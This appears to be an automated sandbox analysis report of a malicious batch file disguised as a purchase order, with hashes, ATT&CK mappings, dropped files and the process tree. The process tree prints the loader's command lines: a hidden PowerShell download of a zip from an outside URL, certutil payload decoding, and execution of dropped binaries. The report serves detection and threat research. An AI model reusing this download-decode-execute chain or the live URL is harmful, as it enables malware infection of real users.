6ee4ccedaac06562ee929036608060820ed9db9deb2cb3184e9d68a31ce22c22

Analysis

max time kernel
299s
max time network
234s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 14:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Purchase Order_PO YRS00262602092026.bat
Size 389KB
Sample260910-ry7dcsvdrf
SHA256 6ee4ccedaac06562ee929036608060820ed9db9deb2cb3184e9d68a31ce22c22
MD5 25ac9f8adaed5c6f97cb892ae70f0200
SHA1 41acdf7a9945f0f0983ea16ef288421f4be149a3
SHA512 914f215539019f1a52d391ef0b5e5523de07ff586e56d0f21931265e75c03712b6deca61f2eec76189dbc8bff05a41af2bd8df8c370daaf87fd78b8244d7668f
SSDEEP 6144:VT6fanYwUgVBQBngWz0Jgh20w5yHXtcaTISmjj28xO7tqz+SuO7hjnkpKa:1R0mvZwtI+SuO7hjgl
TLSH
T108842B3563A66D8D1846E696E82FD05830D5F1FA0ACC3EE9E1ED92DF10D7E088C1786D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3164	powershell.exe
344	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3968	ript.exe
4952	updat.exe

Loads dropped DLL 1 IoCs

pid	Process
4952	updat.exe

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
1512	certutil.exe
2772	certutil.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4584	cmd.exe
8	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	updat.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3164	powershell.exe
3164	powershell.exe
344	powershell.exe
344	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3164	powershell.exe
Token: SeDebugPrivilege	344	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 8 wrote to memory of 4584	8	cmd.exe	89
PID 4584 wrote to memory of 4948	4584	cmd.exe	90
PID 8 wrote to memory of 3164	8	cmd.exe	91
PID 3164 wrote to memory of 3968	3164	powershell.exe	93
PID 8 wrote to memory of 344	8	cmd.exe	94
PID 8 wrote to memory of 1512	8	cmd.exe	96
PID 8 wrote to memory of 2772	8	cmd.exe	97
PID 8 wrote to memory of 4952	8	cmd.exe	98

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Purchase Order_PO YRS00262602092026.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:8
- C:\Windows\system32\cmd.exe
  cmd /c extrac32 /y /C C:\Windows\system32\cscript.exe C:\Users\Admin\AppData\Local\Temp\\ript.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4584
- - C:\Windows\system32\extrac32.exe
    extrac32 /y /C C:\Windows\system32\cscript.exe C:\Users\Admin\AppData\Local\Temp\\ript.exe
    3⤵
    PID:4948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle hidden -inputformat none -outputformat none -NonInteractive -Command "C:\Users\Admin\AppData\Local\Temp\\ript.exe C:\Users\Admin\AppData\Local\Temp\\aloha.vbs https://sumnitasinvestment.com/notice/env.zip C:\Users\Admin\AppData\Local\Temp\\app.zip"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3164
- - C:\Users\Admin\AppData\Local\Temp\ript.exe
    "C:\Users\Admin\AppData\Local\Temp\ript.exe" C:\Users\Admin\AppData\Local\Temp\\aloha.vbs https://sumnitasinvestment.com/notice/env.zip C:\Users\Admin\AppData\Local\Temp\\app.zip
    3⤵
    - Executes dropped EXE
    PID:3968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Expand-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\app.zip' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp' -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:344
- C:\Windows\system32\certutil.exe
  certutil -decode "C:\Users\Admin\AppData\Local\Temp\temp1.txt" "C:\Users\Admin\AppData\Local\Temp\env\libtcc.ini"
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1512
- C:\Windows\system32\certutil.exe
  certutil -decode "C:\Users\Admin\AppData\Local\Temp\temp2.txt" "C:\Users\Admin\AppData\Local\Temp\env\lib.c"
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:2772
- C:\Users\Admin\AppData\Local\Temp\env\updat.exe
  "C:\Users\Admin\AppData\Local\Temp\env\updat.exe" "-run" "C:\Users\Admin\AppData\Local\Temp\env\lib.c"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:4952

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 b53760a664178d80c8fb96fc398e1c14b1f2139225205f411aa2b6baed12c60f
MD5 18555f8f871a11ac1542217c9330200d
SHA1 1f735cd6bb267687d5b0c85203f247e1862b017d
SHA512 2871ee58b5a6f8028a3af5d57e7073f9506be82d3a7a4f64fecda7ecbe4dbc7427a37fa4843e34f22240d4c09cd4b7e690f03a6d89ea82d0485b7ba5f0891103
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_ptmpqlbg.nno.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ptmpqlbg.nno.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

aloha.vbs

Path C:\Users\Admin\AppData\Local\Temp\aloha.vbs
Size 194B
SHA256 08212be8f6fd3d4312f20a7604807c04da643333f07267c7e9713a452e079898
MD5 71efa4ec6c67fa5665b1d0c64d60fc25
SHA1 f546eda2b94df327b7ad5fa5bb0ba20cd37b2623
SHA512 7b1bbbb23e21cd011964397860b1cf5bdebbd20b6b3d5317c13ff5b3bdb0223a51c036be2b730254c11725a69c34ab90d2ae24872af788e076914364a82b31d6
TLSH
T104C02218E442C0C20702E64361718E03D280886513406A222685D9DB9509A0FCD1E2A3
MD5 SHA1 SHA512 TLSH

Submit Download

app.zip

Path C:\Users\Admin\AppData\Local\Temp\app.zip
Size 403KB
SHA256 22655b01e8b6c22d3f562dd80d26922c49d24a540445aba9638db4787acaacde
MD5 cc5e0e767cbcdf1537aa0cf9376547ad
SHA1 0407c18fedb82291ee192da2bc86493826cdf1e1
SHA512 fdfc472546b111a718b0df9f02626ea7b7674ee45257f85b214185c15dbffa414732eb0eb39373e85d627125e118021604ab3f4e9c37b377e7db0f29628fbbe5
SSDEEP 6144:kuj0jc5uz/L2K+7t34mLSGzXsFQ16uNweqxjBnBaYJOZ1KO5kzgPiauTZroSue:mjc5y/9u2mLjzXX1R/qxjBBLJYL0wSn
TLSH
T14794123BD56C40D0E0026639EE7987426B4EA5AE86B098C25C5F02F5FC650DD3E476FA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libtcc.dll

Path C:\Users\Admin\AppData\Local\Temp\env\libtcc.dll
Size 145KB
SHA256 4a52570eeaf9d27722377865df312e295a7a23c3b6eb991944c2ecd707cc9906
MD5 2dc895d5611a149bfcc0d17c4f02d863
SHA1 73d9d0139eaf89b7df34ceeb60e5f8c7cd2463bf
SHA512 98581587e62d74d97de723bf5d692eb02dfa6a284c395a46ea9f26d5d77a3b16095311b23cba5e3280dbb0e24f0b7bdfff908b1d7fb04ae155c0c9f4d4df5668
SSDEEP 3072:hUIjyw7o5VuOQG7icxTAn2ynfmMIvmRrUiKw1czDQ1iswNM7b/wPJo:h8w85NQqictLyfm/+RrUiH12nsw2/wRo
TLSH
T141E39D01CA53C037C8B651F11A5AF79F8876C670D021C987F7CA6EF8AE97DE2011A796
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

updat.exe

Path C:\Users\Admin\AppData\Local\Temp\env\updat.exe
Size 20KB
SHA256 11b86934bb2833f57fa0453a605ca342aee9207e193faea9b973baa2b2b4c35b
MD5 c1561c96e8a6b087e1b96dfed2427ad5
SHA1 09aeb382a7d92302da9dd59f602f84f77a109e57
SHA512 ab6c5c770e0af523b203e0e12ea4aeee412f7853433a36b0601228680af7bf741b6ed01d6528e87d3a748856c8184b48583898af54d064a70305f3788e68e37f
SSDEEP 384:Hg9v4GD1auSzq0L/9AEyTEKv0sykYphJTnz1bCdQ:iDauSXZAxJ/Ch6
TLSH
T1AB920805A906A4F1ED63C0B252CBD55F9FB3D2354E508D09FBDE128C6B378D2A19B392
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ript.exe

Path C:\Users\Admin\AppData\Local\Temp\ript.exe
Size 184KB
SHA256 7b3973fc3d78340af8dceec0cf8b626046eb4e36dcacca5f8164b39945f1c9df
MD5 f9d16f6a7b44d0e272f2b072eef2c40a
SHA1 bc74ae3c8df19d88c7a23b4d0b7d3526d6046362
SHA512 9ad38cbea2c68514ba824dc7f375189a05cf6a839212223ca098c9f54ef144c4b92e5c2bb072d43fd751ae7f9fb1fed6d323fbad60ce2dce397b8eb8d992754c
SSDEEP 3072:eeQ94lCMhOND74L0Xkt92AVWeFNCCs8cCGXfeV6IZxtt:eL4oMKD74L0XyVWeFNCCoTfUfZh
TLSH
T18304074A33E490D5E17A623C89564685EB7278352B2267DF13D482BE5F33BD87C38B21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/344-44-0x0000029542150000-0x000002954215A000-memory.dmp

Download

memory/344-43-0x000002955A280000-0x000002955A292000-memory.dmp

Download

memory/344-42-0x000002955A280000-0x000002955A28A000-memory.dmp

Download

memory/344-41-0x000002955A1C0000-0x000002955A272000-memory.dmp

Download

memory/344-40-0x0000029542150000-0x000002954216E000-memory.dmp

Download

memory/3164-14-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download

memory/3164-15-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download

memory/3164-21-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download

memory/3164-34-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download

memory/3164-19-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download

memory/3164-18-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download

memory/3164-17-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download

memory/3164-20-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download

memory/3164-4-0x00007FFCF55BF000-0x00007FFCF55C0000-memory.dmp

Download

memory/3164-11-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download

memory/3164-10-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download

memory/3164-9-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download

memory/3164-5-0x000001A078810000-0x000001A078832000-memory.dmp

Download

memory/3164-8-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download

memory/4952-249-0x0000000062180000-0x00000000621BE000-memory.dmp

Download

memory/4952-248-0x0000000000400000-0x000000000040B000-memory.dmp

Download